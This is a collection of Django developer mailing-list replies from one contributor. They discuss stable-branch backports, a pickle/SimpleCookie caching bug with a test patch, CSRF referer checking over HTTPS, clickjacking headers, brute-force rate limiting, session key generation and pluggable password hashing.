+1, I agree with Carl and Luke. The issue here is that for non-showstopper bugs, users have probably found (or may even be relying on!) the existing behavior. Keeping the "stable" branch more stable by only changing things when there's a serious issue seems to be a positive improvement. I think this point means that even community supplied patches to minor issues probably don't belong in the stable release. It's easy enough to maintain a patched local version for your own particular itches. Better stability and fewer regressions from patches related to minor issues seems like a fair tradeoff. I am in favor of a more open policy regarding backporting docs fixes. We expect users to be developing using the stable docs, and if we have identified a deficiency there, we should fix it so that they will benefit before the next major release. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Is using version 2 of the pickle protocol in {DB,FileBased}Cache
Thanks for filing the bug. It's probably best to discuss higher-level stuff on the mailing list, and details of the ticket on the ticket. That said, there's a lot of overlap. While setting pickle to use a lower protocol would "fix" the problem, it's really only a bandaid. Lower versions of the pickle protocol are badly inefficient with new-style classes, and should be avoided at all costs. We really just need to stop trying to pickle a class that is unpicklable. The appropriate fix for this probably lies in serializing the SimpleCookie object back into a string (that's what cookies are anyway, right?) before we pass it to pickle. I haven't looked closely at the code there, but that's where I would start. As for the test, you probably want to test it more holistically - maybe a test that fetches a page in the test client several times in a row and makes sure that it is the same each time. Further discussion should probably happen on the ticket. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Is using version 2 of the pickle protocol in {DB,FileBased}Cache
Ah, this does sound like a pretty nasty issue with our code then. Unfortunately, the test suite doesn't get run as often as it should with the various cache backends enabled, and I imagine that may be how this cropped up. There have been a number of similar bugs in the past - caching is hard! I'd appreciate it if you could open a ticket for this and reference the mailing list discussion. If you could set the owner to me (PaulM), I'll work on it when I get a chance. Thanks for taking the time to track down how this is happening. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Is using version 2 of the pickle protocol in {DB,FileBased}Cache
Hi Raphael, Yes, SimpleCookie is known to be an unpickleable class. We shouldn't be directly pickling it anywhere in Django. In your code, you should probably turn the cookie into a string before caching it. I'm not clear if the bug you're experiencing is happening in Django's code or something your application is doing directly with SimpleCookie. The last memcached backend I looked at pickled things using the highest protocol. I don't remember which one it was. It's very odd that you're not seeing the same error using memcached. Locmem should use the highest version of pickle, to more closely mirror the behavior of memcached. I'll open a ticket about that. Django shouldn't switch to the earlier versions of pickle for performance reasons. I think that your provided test case is trying to do something that is explicitly not supported, but I'm unclear on whether or not there is an issue in Django-provided code. Could you provide a little more information? Thanks, -Paul On Fri, Apr 15, 2011 at 1:23 PM, Raphael Kubo da Costawrote: > Hello there, > > I was experiencing some problems with Django's caching system on 1.2.X > (1.2.5, to be more specific) when using either the database or the > file-based backends. > > Both use pickle and call pickle.dumps(..., pickle.HIGHEST_PROTOCOL) when > serializing the data after being called by UpdateCacheMiddleware. > > However, it looks like pickle does not play nice with SimpleCookie-based > classes [1]. In the first request (still not cached), the csrf token is > set correctly as follows: > > Set-Cookie: csrftoken=XX; Max-Age=31449600; Path=/ > > When the same view is requested again, though, the cookie is retrieved > incorrectly from the cache by FetchFromCacheMiddleware: > > Set-Cookie: csrftoken="Set-Cookie: csrftoken=XX Max-Age=31449600\073 Path=/" > > The locmem, dummy and memcached backends do not present this problem: > locmem does not specify the protocol version when calling pickle.dumps, > which means protocol version 0 will be used; dummy does not do anything > and memcached does not use pickle. Pickle protocol versions 0 and 1 work > fine. > > The following patch to the unit tests should break both > FileBasedCacheTests and DBCacheTests. I only tested it against the 1.2.X > git branch, but 1.3.X should present the same behaviour, and both Python > 2.7.1 and Python 3.2 fail. > > diff --git a/tests/regressiontests/cache/tests.py > b/tests/regressiontests/cache/tests.py > index 0581e4e..5611eef 100644 > --- a/tests/regressiontests/cache/tests.py > +++ b/tests/regressiontests/cache/tests.py > @@ -285,6 +285,22 @@ class BaseCacheTests(object): > self.assertEqual(self.cache.get("expire2"), "newvalue") > self.assertEqual(self.cache.has_key("expire3"), False) > > + def test_cookie_caching(self): > + try: > + from Cookie import SimpleCookie > + except ImportError: > + from http.cookies import SimpleCookie > + > + test_cookie = SimpleCookie() > + test_cookie['key'] = 'some value' > + > + self.cache.set('some_cookie', test_cookie) > + > + cached_cookie = self.cache.get('some_cookie') > + > + self.assertEqual(cached_cookie['key'].value, > + test_cookie['key'].value) > + > def test_unicode(self): > # Unicode values can be cached > stuff = { > > [1] http://bugs.python.org/issue826897 > > -- > Raphael Kubo da Costa > ProFUSION embedded systems > http://profusion.mobi > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To post to this group, send email to django-developers@googlegroups.com. > To unsubscribe from this group, send email to > django-developers+unsubscr...@googlegroups.com. > For more options, visit this group at > http://groups.google.com/group/django-developers?hl=en. > > -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Proposal: remove compatibility for old signing functions
I agree with the others. This is very much the correct step going forward. These fallback methods have worried me, and definitely weaken the security of the improvements. One idea I had been kicking around was some way to tell Django what version of these things to expect, and disable the fallbacks for anything older. Brand new projects don't need the fallbacks. This might be overly complex, however. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Django 1.3: running test suit
We can't help you if you don't tell us a bit more about your system. What version of Python? What OS? Is there anything else unusual about your system or how you are running the tests? -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: secret key from file...
I would be in support of a manage.py command to change the secret key, just as a convenience. I'd be happy to implement it. Matthew Roy said: > If I understand > how it works the compromise of the SECRET_KEY alone doesn't put you in > serious hot water unless the attacker can also intercept traffic. The SECRET_KEY is secret for a number of very good reasons, and compromise of it is quite likely to lead to compromise of your application if the attacker is sufficiently motivated. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: State of X-Sendfile support?
It's worth pointing out that manage.py runserver isn't likely to ever support serving those files even if the header arrives in core. It's explicitly not appropriate for any kind of production use, fallback or otherwise. If you really need support for your development work (and checking the headers on the response isn't good enough), you should be developing in an environment closer to your production server. I would be very much -1 to any proposal to include code that actually served the file in django core if the webserver doesn't support X-Sendfile. That said, I'd very much like to see support for the header in core. It's commonly used, and reimplementing it every time is silly. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: CsrfViewMiddleware and HTTPS
This check prevents a MITM from injecting an HTTP based form/csrf token pair along with javascript to auto-submit it to an HTTPS target. Any HTTP request is vulnerable to all kinds of MITM and there's nothing we can do about it, but an HTTPS-based request should be as secure as possible even with a MITM. This protection discourages our users from building HTTP forms that post to HTTPS targets, a practice that essentially invalidates most of the browser-based security UI. SSLStrip is a very real threat. As for issue #2, of course it's possible to send anything you like as an attacker (including making up a referer header). This is about protecting non-malicious users. A malicious MITM shouldn't be able to modify an SSL request on the wire to change that header, since everything except the destination IP address is encrypted. There has been previous discussion of this issue: http://groups.google.com/group/django-developers/browse_thread/thread/d16647e84d2b39ea http://groups.google.com/group/django-developers/browse_thread/thread/22058adaf11e3ed6 and it is commented on in the code: http://code.djangoproject.com/browser/django/trunk/django/middleware/csrf.py#L139 -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Ticket 14261 - add basic clickjacking protection to Django
I agree that Django should include this functionality in core. The header is a very useful way to discourage click-jacking in modern browsers. However, I also agree with Ryan N that this should be off by default. If it must be on, it should use SAMEORIGIN (as the patch currently provides) to avoid breaking existing sites. For better or worse, frames are an integral part of the web today. Taking a stance as an entire framework that by default, content should not be framed, is a _very bad_ choice. Many sites use Django to build open data platforms, and many of the interesting sites on the web today function as mashups of other site content (often by framing it, often without an explicit "go-ahead" by the framed site). If we force every site creator to explicitly enable the ability to be framed, we are directly creating a closed, less dynamic, less interesting internet. I would prefer an approach that was more selective. In particular, this header (usually) only makes sense in the context of a page which contains a form. If we must enable it by default, we should limit it to those pages. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Wrong error message when user having is_staff=False tries to login to admin
It's too late for an easy string change, but I think the fix for this problem should probably be to append something to the effect of "or you don't have permission to log in here." to that message. If an attacker is brute forcing logins, providing a nondescript error message here makes life harder. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Brute force attacks
I go back and forth on this issue. Unlike CSRF, there's never going to be a one size fits all solution for this type of problem. Different organizations have widely varying requirements, and while I prefer rate limits, that won't satisfy the auditor whose checklist requires permanent lockout after X attempts. That said, Django's current approach of "figure something out yourself" means that most installs don't get any work in this realm. We can't defend against every attack scenario, but if we can improve the most common areas, it will be a substantial gain. I'm quite interested in working to get better protection into core. I agree with Rohit that throttling/rate-limiting is going to be where Django finds a good balance between intrusiveness and security. In larger systems, this task is often taken care of by the firewall in a generic one-size-fits-all fashion, but if Django is doing the limiting, we can provide more specific protection, especially for users who don't have fine-grained control over their firewall. If we build a rate limiter into core, it will encourage users to make use of it in their own projects. It will also allow us to rate limit other areas of core to improve security - passwords are far from the only thing susceptible to brute force, and the same framework may be useful to prevent or discourage DoS. We need to be careful to provide permissive defaults. Leave the knobs exposed for organizations which require draconian measures, but for the average user, convenience trumps security. At the expense of creating more work, I think that we need to agree on several facets of the problem before we go writing code: 1) Which attack scenarios do we protect against? A single machine high-rate attack? A high-rate distributed attack? A slow distributed attack? The first of these is the most likely attack - it's easy to implement, and doesn't require extensive resources or patience. Defenses against it will also apply (to a lesser extent) in the case of a high-rate distributed attack. Measures like locking accounts after a number of login failures prevent the slow attack, but they inconvenience users and open a very nasty avenue for DoS. I don't know of measures Django could take which would provide an acceptable balance between completely preventing this attack and avoiding inconveniencing users. 2) How do we balance protection against DoS concerns? Since Django installations are usually public-facing, Denial of Service issues are often a larger concern than brute force attacks (the entire site being unavailable vs. some number of compromised user accounts) I strongly oppose the addition of any code which makes Django significantly more vulnerable to DoS out of the box, even if it does improve security. 3) What is the appropriate response to an attacker? Lock the account? Deny access to the whole application? For how long? Log the attack? At what threshold? We rapidly get into areas that are in the domain of a full-blown Intrusion Detection System. I think that Django needs a very minimal set of features in this realm. Log the attack when over a certain threshold (and log verbosity), block the IP for a limited period of time, and move on. In light of these issues, I think that the appropriate solution for core will be: * lightweight - we can't compromise performance here. The solution should be memory-based, and should not write to the database or disk in most cases. I'm perfectly fine with requiring caching to be enabled to get protection. * generic - we should be rate limiting other areas of core, and it makes sense to provide a way for developers to easily limit their own applications. * limited in scope - Django includes many batteries, but it shouldn't include a full-blown IDS. Throttling and logging for events significantly outside the norm are enough protection. Anything more complex becomes application specific. * pluggable - we can't be all things for all people. We need to design an interface that is flexible enough to allow people to implement their own particular set of rules. We do this already in other areas: databases, caching, sessions, etc. If we can provide a good generic interface for this, we can include other backends with different behaviors as they evolve in the community. So, the tl;dr is that Django needs to include a simple rate limiting component that is trivial to enable to discourage many brute-force attacks. I'd like to help make this happen. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Storing language in session/cookie
I'm not familiar with that subsystem, but if what you say is correct, you should open a ticket. That sounds like a definite issue to me. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: The XMLField ticket
I've attached a patch per the discussion here. It's ready for review and hopefully a speedy commit. http://code.djangoproject.com/ticket/3094#comment:19 -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Trac components cleanup
>> * The "Contrib apps" component [1] should be made redundant and new >> components for each missing contrib app (e.g. contenttypes, sitemaps) >> should be added. I mean, even databrowse has its own component! :) The >> "Contrib app" mixes lots of unrelated things, making it a bit >> pointless. >> * For consistency, the "Authentication" component should be renamed to >> django.contrib.auth, and "RSS framework" to >> django.contrib.syndication. I'm also +1 on those two. > However, "core" is clearly being misused (or at least misunderstood). > I'm open to suggestions (driven by the data) as to what extra > categories we should add and/or how we should rename core. There are > 169 open tickets attributed to "core" -- care to make some > suggestions? Core tends to end up as a dumping ground for people who haven't carefully read the (admittedly already long) list of categories. It's near the top, and so it's easy to choose over other more appropriate categories. Consolidating some of the redundant categories might help. I think the django-admin.py categories could be consolidated into a single one. In the interest of readability, we might rename django.contrib.foo to simply contrib.foo. As long as we're clarifying, "Django Web Site" might be better named "DjangoProject Web Site". Those later two probably aren't worth doing unless Trac provides an easy rename functionality. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: A word about CSRF Protection and AJAX
I'll chime in as opposed to forcing the cookie where not strictly necessary. It makes caching harder, and means that many of the dumber caching systems out there won't cache it at all (some mobile operators, smaller ISPs in lower GDP countries, etc.). Pushing the cookie to make AJAX easier seems especially silly if the site doesn't use AJAX at all. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: "needsinfo": resolution vs. triage stage
I'm also +1 for the close resolution. Fewer open tickets is a good thing! -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
The XMLField ticket
Ticket #3094 needs a decision. http://code.djangoproject.com/ticket/3094#comment:17 The quick summary: Once upon a time the XMLField accepted a schema and validated documents against that. This hasn't been true since oldforms, yet the documentation continues to proclaim this. Now, XMLField is basically a TextField that takes an extra path argument. It's useless, and doesn't validate anything. We need to either deprecate it, provide some validation, or fix the docs to say it doesn't do anything. We can't fix the docs till we have a decision on this ticket. Please weight in here or on the ticket. I'll write the patch for whatever gets chosen. Thanks, -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Multiple email connections
I agree that this makes a lot of sense for 1.4. Probably the most common use case is going to be separating classes of emails (mass-mails (mailchimp or constant contact), transactional (amazon ses or your provider's mailserver), backend admin notifications (server sendmail or local mail spool), etc). These are going to be fairly easy to use by simply identifying them in the code, and don't need automated routing. If we were going to include some amount of automation, I would like to see configurable failovers (though this might add too much complexity to the settings). Additionally, the ability to distribute outgoing mail to a given backend over several servers would be quite nice and relatively trivial to implement. Weighted distribution over those servers would be similarly trivial, but might be outside the featureset Django wants to support. Actual quotas are clearly beyond the scope. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Design design needed: #14093 - Unable to create a new session key on higher traffic
Sorry, I stuffed up some of the numbers. MD5 is 128 bits equivalent value. UUID4 is 113. A table with enough content to cause collisions for 10k input values would probably be in the exabyte range, but the point still stands. Cache timeouts are causing this problem. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Design design needed: #14093 - Unable to create a new session key on higher traffic
Do we absolutely have proof that the original problem is caused for sure by session key collisions? The assertion here is that we're generating 1 md5s and that NONE of those is unique and so the function is timing out. This is preposterous. If this were actually the case, I could generate my own 10,000 md5s and log into each of those users sessions as an attacker. Sessions expire in 15 days. MD5 provides a reasonable distribution across the namespace. If you've generated 10k md5s and NONE of them is unique, you've got the md5 namespace pretty well covered (or you're using really bad random input data, which we are not), meaning your session key database has (conservatively) more than 10^20 petabytes of data. Right. The alternative explanation is that the cache backend is timing out. The 10k loop fix basically masked that issue by trying a bunch of times till it got a response. The fix for this issue is going to lie in improving behavior when the cache doesn't respond properly, not in fixing the key collision problem. Additionally, UUID4's are only very probably unique. You are proposing to move to a 103 bit random value (after excluding the fixed bits) instead of the existing 512 bit value. I predict that a patch which removes the 10k loop will make the problem worse, with or without UUIDs. Sorry to be blunt, but lets tackle the real problem here, rather than making things harder for ourselves. Best, -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Pluggable encryption for django auth (design proposal)
I'm not going to get into the arguments about security of the various hashing methods, other than to observe that there have been some fairly misleading statements here. As far as the proposal goes, I think this is a perfectly reasonable feature request (and you should open a ticket about it if one does not already exist). I'd favor a solution where your setting mapped the algo name to the actual function used: PASSWORD_HASH_FUNCTIONS = { 'bcrypt': myproject.myapp.bcrypt_hexdigest, 'sha1': django.utils.hashcompat.sha_constructor, etc.} Then we could put the existing hash functions (sha1, md5, etc.) in that setting as the default, and get rid of the algo-checking code that currently lives in auth.models. When we do a password comparison, we simply pull the hash name, lookup the function, and away we go. I don't think this will make it into 1.3, but it's a reasonable thing to do and I think it would help improve all the special-case code that currently lives in auth.models. The patch itself wouldn't be too hard, and I'd be willing to write it myself if nobody else will. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-develop...@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Should CSRF Middleware return 403 or 500 error from AJAX call?
In a case like that, I would expect the response code to be the same in both states of the Debug flag. Sounds like a bug to me, I would expect the debug to throw a 500 in the described case. Please go ahead and open a ticket. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-develop...@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Receipt for mail to security@ ?
> I'd argue that an autoresponder is almost exactly what we *don't* > need. An autoreponder can give the illusion of that a message has been > received when it's really just a robot going through the motions. The > worst possible situation would be an autoreponse message that says > "We're looking into it" when the message has actually fallen into the > bit bucket. That makes sense. I was thinking an autoresponder along the lines of "Your message got to our servers and wasn't marked as spam, but a real person hasn't looked at it yet. We try to respond to all messages with X days, if you haven't heard from us by then, please do Y." Something like that would bridge the gap between "we got your message" and "we've been able to replicate the issue and have some idea for a fix". -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-develop...@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: GeoDjango and Postgresql
It doesn't sound like there's a lot of enthusiasm for maintaining the windows binary installer. Might it make sense to write out a set of manual installation instructions and scratch the windows installer? It looks like we're copying a few files and adding some things to the system path - nothing that a user can't do if they can get regular Django installed. Instructions are a lot easier to maintain than a binary installer. If we do want to do that, I'd be willing to take a stab at writing up the procedure. -Paul On Tue, Nov 9, 2010 at 11:31 AM, Justin Bronn <jbr...@gmail.com> wrote: > > > On Nov 9, 6:25 am, Paul McMillan <p...@mcmillan.ws> wrote: >> I opened #14527 a while ago, but it hasn't gotten much >> attention.http://code.djangoproject.com/ticket/14527 >> >> It would fix the docs which claim that PostGIS doesn't support PostgreSQL >> 8.4. >> >> Can I get some GeoDjango users to chime in on this matter? I'd like to >> see this closed one way or the other. >> >> -Paul > > As I told you in #django-dev that documentation is specific to the > GeoDjango windows installer _only_ -- hence why it's in the "Windows > XP" section: > > http://docs.djangoproject.com/en/dev/ref/contrib/gis/install/#windows-xp > > GeoDjango supports PostgreSQL 8.1 and above, as indicated at the top > of the documentation: > > http://docs.djangoproject.com/en/dev/ref/contrib/gis/install/#spatial-database > > The ticket will be addressed when the windows installer is either > updated (#14133) or discontinued due to lack of resources. > > -Justin > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To post to this group, send email to django-develop...@googlegroups.com. > To unsubscribe from this group, send email to > django-developers+unsubscr...@googlegroups.com. > For more options, visit this group at > http://groups.google.com/group/django-developers?hl=en. > > -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-develop...@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
GeoDjango and Postgresql
I opened #14527 a while ago, but it hasn't gotten much attention. http://code.djangoproject.com/ticket/14527 It would fix the docs which claim that PostGIS doesn't support PostgreSQL 8.4. Can I get some GeoDjango users to chime in on this matter? I'd like to see this closed one way or the other. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-develop...@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Tickets #12979, #11557
Generally, the best bet is to find someone who does NOT have commit access (and is thus not quite so busy) to review the patches, run the tests, and mark them as RFC. Once that has happened, the patch will get looked at by a committer, often in reasonably short order. Good etiquette dictates that the person marking as RFC shouldn't be someone who opened the ticket or who submitted the patch. Often asking in #django-dev or #django-social will turn someone up. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-develop...@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: A prompt 1.2.3 release
> Which buildbot? http://buildbot.djangoproject.com/waterfall doesn't > seem to be doing 1.2.X - from the logs for the ones marked 1.1.X: My mistake. It looks like it was partially converted to 1.2.x, but not completely - the tests run when changes are made to 1.2.x, but as you pointed out, it's still checking out the 1.1.x branch. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-develop...@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: A prompt 1.2.3 release
> Unfortunately we didn't catch this failure in four weeks, the fact > that the buildbot > isn't running tests for the 1.2.X branch doeesn't help either. The buildbot actually is running the 1.2.x tests, it is just unfortunately named (and apparently re-naming it is a bit of a pain so it hasn't happened yet). Look at the actual logs of any given build to see what's actually checked out. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-develop...@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: CSRF Middleware/SSL/Firefox 3.6.8 bug
Luke, Your last couple replies to this thread have been very helpful. Thank you for cogently clarifying this situation and patiently keeping at it. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-develop...@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: CSRF Middleware/SSL/Firefox 3.6.8 bug
I've only a small voice in this matter, but I'd like to chime in on the side of figuring out a way to solve this without requiring the Referer header. Regardless of what the RFC may say, I know from inspecting my logs that I (and I assume many others) get a lot of traffic without the header. The traffic in question isn't hand-entered URLS. People who operate sites that appeal to certain subset of the internet population see much higher instances of this. On some sites, my numbers show that nearly 15% of my visitors never send a Referer. It doesn't really matter what the cause - paranoid sysadmins, users who install privacy plugins, or people who just disable that setting. The point is that although you and I browse with the header turned on, there is a sizable population that does not. Breaking the framework for that population seems like a bad idea. It has an taste reminiscent of the "my way or the highway, this site only works in IE 4.5" days of yore. That said, I don't have a good alternative solution, and certainly prefer the current behavior over a potential XSS hole. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-develop...@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.